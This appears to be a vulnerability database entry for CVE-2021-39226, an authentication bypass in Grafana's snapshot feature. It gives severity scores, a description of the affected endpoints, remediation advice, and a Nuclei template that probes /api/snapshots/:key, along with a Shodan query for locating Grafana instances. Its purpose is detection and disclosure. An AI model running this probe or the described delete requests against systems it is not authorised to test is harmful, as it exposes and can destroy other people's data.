Grafana Snapshot - Authentication Bypass

2021-12-0119:37:40

ProjectDiscovery

github.com

7.3 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

7.1 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

JSON

Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).

id: CVE-2021-39226

info:
  name: Grafana Snapshot - Authentication Bypass
  author: Evan Rubinstein
  severity: high
  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
  impact: |
    An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
  remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
  reference:
    - https://github.com/advisories/GHSA-69j6-29vr-p3j9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
    - https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
    - http://www.openwall.com/lists/oss-security/2021/10/05/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2021-39226
    cwe-id: CWE-287
    epss-score: 0.97206
    epss-percentile: 0.9981
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query: title:"Grafana"
  tags: cve2021,cve,grafana,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/snapshots/:key"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"isSnapshot":true'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022018328f164b60172c333f6c40599f821c588213819031a1e9a2fc07c9e6f3fe74022100dc1c8beb95c9ea2da8dbf9b90d938190782ff387c7a21e0c44387234f04094fc:922c64590222798bb761d5b6d8e72950